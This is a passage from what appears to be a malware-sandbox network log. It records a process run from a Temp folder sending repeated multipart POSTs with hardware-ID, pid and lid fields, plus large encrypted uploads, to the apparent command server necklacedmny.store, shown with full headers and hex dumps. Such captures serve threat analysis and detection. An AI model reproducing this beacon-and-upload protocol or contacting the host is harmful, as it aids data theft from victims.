cfL4;desc="?proto=TCP&rtt=1205&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13782&delivery_rate=2431570&cwnd=248&unsent_bytes=0&cid=c5cf5af871c08757&ts=732&x=0"
2024-11-01 04:02:21 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 04:02:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	59848	188.114.96.3	443	2696	C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:02:22 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: necklacedmny.store
2024-11-01 04:02:22 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 31 43 38 36 34 45 34 43 44 38 31 42 31 34 38 45 36 31 34 31 32 37 42 42 36 31 46 43 44 33 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B1C864E4CD81B148E614127BB61FCD3A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:02:23 UTC	1013	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:02:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=loob57cq37jv6vq3il5nqotvd3; expires=Mon, 24-Feb-2025 21:49:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WqTqoS3xLpBsudMDwO61VvXb09oASwtmtW6A%2BsEXBqCcQaaD54SRuOuQ3V5hHVGctWabFTR1sKC6upo%2FT35Y1dw7R1jqieEWjNvLZcoUQykQb2ETuNmtJ9j82nD7rFPJlIrsGdo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db8fd2bbb953ab5-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1294&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2844&recv_bytes=16024&delivery_rate=2300238&cwnd=32&unsent_bytes=0&cid=6d6e8269b959902b&ts=516&x=0"
2024-11-01 04:02:23 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 04:02:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	59849	188.114.96.3	443	2696	C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:02:23 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: necklacedmny.store
2024-11-01 04:02:23 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 31 43 38 36 34 45 34 43 44 38 31 42 31 34 38 45 36 31 34 31 32 37 42 42 36 31 46 43 44 33 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B1C864E4CD81B148E614127BB61FCD3A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:02:23 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-11-01 04:02:24 UTC	1025	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:02:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4q0nvlghg89gei568rtpp6eda6; expires=Mon, 24-Feb-2025 21:49:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cBNpzoo5MboLglNd5Mu%2BmDtPBak1Obn8BL4fh7ezStJfdnc%2FK7Kzf0EbngOdiEp%2F3OFDU2nLIsfzQN4NPNCa%2Fz%2B1yJHaKif9rIHahxSZkHbOW%2B%2F41xsWPm90gJvgJh4L83WctbQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db8fd344d433aa9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1175&sent=10&recv=24&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21536&delivery_rate=2405315&cwnd=251&unsent_bytes=0&cid=59aa125db28cc388&ts=681&x=0"
2024-11-01 04:02:24 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 04:02:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	59850	188.114.96.3	443	2696	C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:02:26 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1270 Host: necklacedmny.store
2024-11-01 04:02:26 UTC	1270	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 31 43 38 36 34 45 34 43 44 38 31 42 31 34 38 45 36 31 34 31 32 37 42 42 36 31 46 43 44 33 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B1C864E4CD81B148E614127BB61FCD3A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:02:26 UTC	1016	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:02:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ghtcar8fq50rhqpl9fo3m5suia; expires=Mon, 24-Feb-2025 21:49:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ht85UXBKfIzxh7Cux5%2BpSxI4ECKfvLr%2BnjYg7s7pSHK8zKtA9wILBSy0RajTjlnxZGwKYM2lN4tX3FL8TwzBGd0mJ%2BtRhWOFAGXAiaF858O3RQj2nBonZEM7lTkL%2FtUqVlPEdDQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db8fd439a896b23-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1485&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2189&delivery_rate=2241486&cwnd=241&unsent_bytes=0&cid=38774e0b0675018c&ts=493&x=0"
2024-11-01 04:02:26 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 04:02:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	59853	188.114.96.3	443	2696	C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:02:28 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 578713 Host: necklacedmny.store
2024-11-01 04:02:28 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 31 43 38 36 34 45 34 43 44 38 31 42 31 34 38 45 36 31 34 31 32 37 42 42 36 31 46 43 44 33 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B1C864E4CD81B148E614127BB61FCD3A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:02:28 UTC	15331	OUT	Data Raw: 9b 8c 29 75 da a8 b9 c0 88 cc 76 be 9a 1c a6 53 8d 70 fb 30 2c 20 ba f2 c8 df 25 7f 49 69 f1 24 47 45 39 58 10 f8 59 c4 35 07 08 80 37 42 76 6a b5 e0 7a 88 d3 81 31 8d db 15 a2 eb 1a f5 db cc ad 47 12 02 f2 62 cb 58 c2 bd 50 73 bd 00 61 92 14 a9 d2 e4 5d 60 69 d9 ce fd f2 b4 72 93 20 21 bd f3 d5 e3 42 16 46 aa b0 ef c1 27 cc 77 85 0e 7d 5c 9e 38 ad 1c 5d 25 08 c4 2a 27 9f e7 03 ea 54 03 56 bb fc d4 82 43 af c1 af a7 ab 95 ae ff c9 a1 60 71 ce c8 eb 07 a1 ae a2 ac c5 df d4 f6 c7 f0 47 27 18 c0 17 e5 5b 6d 0f ca db 20 3f f7 0b d8 b9 31 3b 9e e9 b2 fe e7 0f ca dc 99 55 7e 77 2b 81 c9 6e 48 1e 19 bd 37 f6 80 fd 48 57 a9 53 60 6f fe 5b 68 3b ea f2 18 b0 4b be fc 6f 43 67 5d 35 c2 0f 3a c0 1c 0e 11 9b d4 7c 04 70 bc 12 01 92 4c d3 06 73 34 d6 3f 99 55 40 09 90 Data Ascii: )uvSp0, %Ii$GE9XY57Bvjz1GbXPsa]`ir !BF'w}\8]%*'TVC`qG'[m ?1;U~w+nH7HWS`o[h;KoCg]5:\|pLs4?U@
2024-11-01 04:02:28 UTC	15331	OUT	Data Raw: 37 71 3b 5c fc a9 fa 46 81 30 0a d5 35 1d 7e fe a7 78 f4 cd 32 bb ed 32 92 a2 44 fa 27 ca f7 cb a6 b1 81 06 65 af e9 9d 65 bf ee bf 0f f7 cb 8e 8b 8d dd d0 3a 8f 7c 5c 37 cf 41 84 e7 ba 2c fa 3c 47 17 75 74 4d 96 79 61 67 3b fa af 3d 84 6c da 02 b1 ed 83 b9 d4 af 51 25 ba d8 db 7c ca ac a0 af 00 38 bb 4d 0f 72 ef ec 98 61 38 6d 56 0e 2c 55 ee 58 b0 3f c0 6b 1f 0a 1e 4f 5c b8 a9 78 99 5e b7 3e bf 38 68 a6 b7 b8 a2 43 ff a3 05 10 3b 17 a3 8e 68 05 e5 64 fa bf 30 d9 98 7a ea 7c 75 38 41 65 6f f5 4c 7d b7 c9 9e ac aa 6d 68 f8 01 83 48 49 42 81 78 33 af b6 1a eb 41 86 3c 37 94 d7 4d 1f fa df 73 2a 4f 03 fa ee df da e3 a1 17 04 22 2e 80 f0 a1 9b e1 1e 80 2d fb 14 80 93 66 a0 3f 1c f4 5f 9f f1 41 be 2d 06 14 9e 13 b7 f9 7f 0f e7 49 3a 2a 60 f3 5a 14 41 cf 82 50 Data Ascii: 7q;\F05~x22D'ee:\|\7A,<GutMyag;=lQ%\|8Mra8mV,UX?kO\x^>8hC;hd0z\|u8AeoL}mhHIBx3A<7MsO".-f?_A-I:`ZAP
2024-11-01 04:02:28 UTC	15331	OUT	Data Raw: c2 f9 37 3a fb 72 8f 12 20 f8 6f 49 a1 a3 e3 61 f8 68 af d8 3f fd dd c3 52 e5 39 2a 14 c1 c3 cf 61 27 65 95 ae 0f da f5 94 d0 4e c0 b2 2a d7 c4 f8 ad ea 8e 98 19 2a 7f 55 ba 97 09 da cb 04 8b a5 ed 98 42 0e c0 52 27 3b b4 06 f0 28 db a8 4f ac a8 20 c8 45 7d 10 a9 18 2f 8e de b3 9b 5d 78 94 c9 77 f8 c8 78 05 5d 61 a6 25 4b 5e 49 c1 39 cc 01 5c 81 65 d6 19 f9 0b 38 c4 f6 1a 83 06 97 5b 08 bf 7b f4 33 db c9 5c a7 54 0f 9e e4 a7 70 5a 57 98 14 07 fe 85 95 af d8 8d 95 fa 57 07 ac 96 55 7c 53 25 6d a9 05 38 a6 54 3f 3f f9 e0 07 e7 20 38 12 72 49 04 f0 36 65 90 48 43 82 34 b0 4b b9 98 11 28 d4 64 6f ec a8 e6 9b 15 64 29 5d d3 5d 06 08 fb b7 b5 a2 e6 d9 0b 25 82 af c5 80 e8 c1 ab 23 8e ca 60 a3 87 13 cc 91 e4 ae ce fa 14 7d 60 4d 0b 71 b6 d0 15 eb aa d4 b2 1c 6e Data Ascii: 7:r oIah?R9a'eN*UBR';(O E}/]xwx]a%K^I9\e8[{3\TpZWWU\|S%m8T?? 8rI6eHC4K(dod)]]%#`}`Mqn
2024-11-01 04:02:28 UTC	15331	OUT	Data Raw: 7d 7e 20 be 71 08 9c 08 91 fc ee b1 b9 4a 56 57 45 d4 da 3b 79 3d 46 a7 87 78 ce 5d 93 4b 39 a9 d0 cd 97 97 24 bc d0 d6 18 35 c9 ef 47 6f c8 49 26 7e c7 a1 81 96 84 60 6c cc 1e 8c 17 eb 22 03 d5 1e 13 6a 6a 5a 0e 2b 3d 18 75 52 41 66 7d 5f fb 58 b5 3e c7 d4 bb 5d 1f c1 c7 1d 74 c2 77 bc ff b0 cc f6 fc 27 06 5e 7e f7 f5 9c 89 ec 58 97 3b 45 9f 4f eb 8a dc 7f a8 47 70 70 a0 f5 34 de 3c 44 1c de df ac 11 4e 38 78 78 e6 37 ed a8 65 4e 64 22 23 be c0 58 60 5c ac c6 5e 37 6f e1 cc 68 96 be 80 97 af 86 7c 34 ff 4a 7e 87 fa f1 dd ed 70 bc c0 2e ad cb a7 89 99 11 f8 e7 f7 da bb 72 97 39 25 82 27 e6 7d 2e 3b 47 61 86 a1 7b f2 18 41 29 c4 7a 43 66 30 bb 58 23 f7 85 14 1e 73 0e e4 ed 11 8c 52 a6 54 5c b4 eb 8f 42 2c 24 ce d6 ea 2b 7a ff df a9 fa ff df 05 52 21 cb 13 Data Ascii: }~ qJVWE;y=Fx]K9$5GoI&~`l"jjZ+=uRAf}_X>]tw'^~X;EOGpp4<DN8xx7eNd"#X`\^7oh\|4J~p.r9%'}.;Ga{A)zCf0X#sRT\B,$+zR!
2024-11-01 04:02:28 UTC	15331	OUT	Data Raw: 9a cf 40 a8 c4 94 fa 45 88 6c 94 5d 33 2c c1 8f ed 71 07 19 71 b9 af b2 ab 61 0a f1 15 eb 61 27 1c 3f 7b c3 56 9f f6 26 84 7a 91 bf 5a 08 ce 24 b1 79 f5 81 4f 6e 43 33 6a 8b 85 eb df 4c 0f 92 2d b9 cf 39 29 a5 fd 23 84 37 33 85 1a 7b a5 de d0 92 77 3b ea 5c be 5b fc ee b5 2e 9a 4c d7 01 75 e1 31 b3 17 67 a9 cb 7c 43 f9 a8 f0 b3 84 47 7b 3c 82 52 91 26 0a 55 d7 7c d8 c9 83 61 63 b1 6d f6 43 06 3c 28 b7 e5 c8 7a ca 73 27 0f 9f 8d e4 1a e2 19 ea f3 77 71 27 5f 8f 0a e0 90 0d a6 0c b9 b1 aa 04 4c 54 00 0e b8 35 99 cb 50 b4 33 61 0f 4d 7c a1 89 b6 04 fa f8 0c 35 08 82 b8 57 85 57 0e 4f 8d 05 92 fa 55 e7 06 43 8d 94 7e 36 6d 98 82 46 0b d5 c4 90 78 24 b6 64 45 40 5f 0f b9 b6 79 c1 37 79 68 36 29 66 a7 6f 51 75 e5 a7 7f 50 6a 2f d5 ef 1a c9 29 ad f2 41 73 11 64 Data Ascii: @El]3,qqaa'?{V&zZ$yOnC3jL-9)#73{w;\[.Lu1g\|CG{<R&U\|acmC<(zs'wq'_LT5P3aM\|5WWOUC~6mFx$dE@_y7yh6)foQuPj/)Asd
2024-11-01 04:02:28 UTC	15331	OUT	Data Raw: 21 f2 2f 23 f0 6c 41 50 23 92 b1 ca f6 33 9b b4 1d e2 a5 d5 bb 56 d6 bb 12 35 99 27 10 d1 27 d1 54 10 d6 e3 42 ad 66 56 30 e3 96 8e dd 13 d5 8d bb b7 ff 73 c1 23 71 1a ff 12 bf 6a ac 12 8d 67 59 78 ad f7 0a 5e 73 c7 8b af 55 60 78 c4 32 c2 23 7a 55 68 c9 41 80 a1 6d 90 d7 7d 04 bc 3f aa 2a b0 b0 3c b9 9c 55 a3 1b 83 99 b5 1c 36 91 46 92 fe a5 a4 ac 21 af 33 55 22 44 e9 96 cb c9 14 23 80 6f 26 52 2b 6c cb 7c ce c6 12 ab 0e 6f f7 7c a7 c8 ee a4 b7 0c 77 be 4f d4 f2 2d f5 e4 cc bb 73 7c e8 4b 8b 9f 29 eb ee ef 7e a8 2f fe 04 a4 0c 1f 46 92 fe 0b 04 6d 7f 40 e9 95 9e 1d 31 24 cd fc ae 97 cb 2d e0 61 a4 05 96 9a 37 ed fd 26 be 73 84 8a c9 99 98 10 53 1c 60 17 df ca 78 d1 99 b3 99 fc dd 56 09 ca b2 c9 f0 fe ee 9b 8e 02 7f ca 90 9c fc 37 57 41 46 9b 25 0e 7c 1a Data Ascii: !/#lAP#3V5''TBfV0s#qjgYx^sU`x2#zUhAm}?*<U6F!3U"D#o&R+l\|o\|wO-s\|K)~/Fm@1$-a7&sS`xV7WAF%\|
2024-11-01 04:02:28 UTC	15331	OUT	Data Raw: 3d c5 e1 0b ec ce 37 75 da 9c 51 8c b6 86 80 e9 35 57 41 a8 89 55 58 bf fb dd c2 9d 84 96 75 1f 4f 76 d5 5c 3f 0e be 65 e8 2f 10 08 81 95 ed d5 2a cc af b2 5b 78 bf 63 95 e5 83 d9 c5 8b 94 c5 65 f5 40 e6 cd 0a 84 90 17 91 2f 4a 28 38 d5 e9 5b 26 f8 11 b0 93 af 4f eb c9 2f 3d b5 a0 1a 41 a4 73 ad 76 48 7c 7a c8 82 7a 1b 0e 7a 09 18 18 cc ac 77 34 b3 1c 0f f2 76 49 81 bd cc a3 0d f5 ee 80 b2 0f 9f 11 1b 3d 20 02 0a b3 57 fd 5b 8f 98 31 5e 09 80 3d 2d b0 3a 3e f3 18 70 12 c7 06 3e 15 eb 9a e1 01 07 78 5c b1 c0 e5 30 6c 0f ec 46 47 e0 52 cc 4b 31 fc 99 77 b4 6f a3 3e 6e d1 af ba 08 e0 12 3b 5d 99 fd f0 da 60 93 19 01 65 ff 99 c2 07 8d 1f 23 a3 39 fe fb f1 2a 0c 95 56 13 b9 f6 9f 98 1d 8c 5b 17 94 b0 00 93 26 db 68 44 36 58 75 c2 9c 02 64 73 72 42 92 a7 04 e5 Data Ascii: =7uQ5WAUXuOv\?e/[xce@/J(8[&O/=AsvH\|zzzw4vI= W[1^=-:>p>x\0lFGRK1wo>n;]`e#9V[&hD6XudsrB
2024-11-01 04:02:28 UTC	15331	OUT	Data Raw: 8e 17 6e 43 2f 09 a0 e0 0d 49 eb d2 fd c4 d8 8f c6 eb 2b 0f ca cf 1d d5 33 47 7f d4 39 2c 25 e5 bd 13 85 77 f7 26 1c d6 70 fb 3b ae e6 6c 1e b5 18 83 d1 8c d6 6e 64 4c e1 1d 40 d8 1f 48 b1 f6 03 f4 60 dc ff 2a ed 24 a9 13 45 9e 41 ca 2a 8c ce 37 d2 57 02 5a 21 59 37 09 3d b6 ce f2 96 38 d2 10 4d cf b6 69 1b 05 d0 18 31 ba 75 4e 6b 78 b4 de b9 89 91 4e 49 c5 0e d9 e8 e4 2d 24 8d 8b df e2 93 44 ec 42 4a d9 39 0d 52 3b 84 e6 c5 05 7c 2d ae 86 5e 89 a1 5a 54 e9 6d a8 27 8d 72 e4 fb 5b 3e e2 83 30 cf 7c 9f 3e 4d 02 75 ef 01 ad f6 8d ca 99 1f 24 bb 23 a6 53 9b 5f 83 87 2a 7e 90 74 44 5c af 40 0a 77 2c ea 46 f3 e6 f9 ac 63 4d 66 40 d7 cc 97 41 06 0a 5c 69 51 1c a0 bd e6 79 9f 3e 47 73 01 31 fe bc de bf d2 81 dd 24 fb a7 1a b9 1a e1 7d d7 0c c6 ea 3a 09 85 b6 e4 Data Ascii: nC/I+3G9,%w&p;lndL@H`$EA7WZ!Y7=8Mi1uNkxNI-$DBJ9R;\|-^ZTm'r[>0\|>Mu$#S_*~tD\@w,FcMf@A\iQy>Gs1$}:
2024-11-01 04:02:28 UTC	15331	OUT	Data Raw: b4 0a d9 fc 5c 20 96 5e 66 3e aa 1f da bc cc bd 08 c8 02 d0 78 5f 9d 61 87 a4 7f bc ab ff ae 87 ae e8 7f e1 27 b6 e7 ed 2b 44 fd 26 c5 9d 3e e6 20 eb bc d0 16 f6 8b a8 0a b7 17 a1 3c 49 de 66 e0 04 59 01 32 6c dd 68 2d ca df bb 17 b6 a8 5a eb 59 97 b7 7e 30 f3 36 8c f7 8c b1 92 d8 b3 9e a2 91 43 33 5d 52 be 80 72 36 0f 94 41 fc 3c 25 3b 44 13 06 ee 3b f3 89 28 b8 a2 18 d3 f7 c0 2e 51 bc ff df 57 a8 ab 52 3d b5 b4 0f 81 c2 73 c7 6d e8 b4 0e 92 0a 0a 64 a9 5e a0 c2 70 38 6a 07 58 40 ad ed 62 e5 d2 a8 28 18 15 8f a2 e1 61 c2 20 5c 81 b1 37 13 c4 be a3 02 62 8b 3b 00 b0 e7 72 10 ff 36 4c 30 86 d4 b7 da be 8f 9c 74 c0 bd bd 56 a5 bf 3b 5e 3d 47 b8 e5 00 1e 7b 8e e2 00 51 bc 7e d6 67 ff 2d f8 40 78 68 60 07 0b 18 e5 8e 71 c7 09 9f c3 16 15 75 fc 9c af ab 05 c5 Data Ascii: \ ^f>x_a'+D&> <IfY2lh-ZY~06C3]Rr6A<%;D;(.QWR=smd^p8jX@b(a \7b;r6L0tV;^=G{Q~g-@xh`qu
2024-11-01 04:02:29 UTC	1025	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:02:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fdmmcbl69vdvnmg08b13hs3ris; expires=Mon, 24-Feb-2025 21:49:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M0DdybxNZJtsu6ueR1mNnZVh3k%2Bcs%2BpW1AwpebTFDjIs30hTKv7L%2B4mDKab8l9dZDXzFe1dJNNTKYPLcnbuaBOayV8FbNl8fShzlmhiSCHyTpX8S0QXyP4AKyAWkLk%2FIaUio%2BDI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db8fd4dfd583588-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1195&sent=216&recv=616&lost=0&retrans=0&sent_bytes=2846&recv_bytes=581284&delivery_rate=2423430&cwnd=251&unsent_bytes=0&cid=4009774284b610f7&ts=1569&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
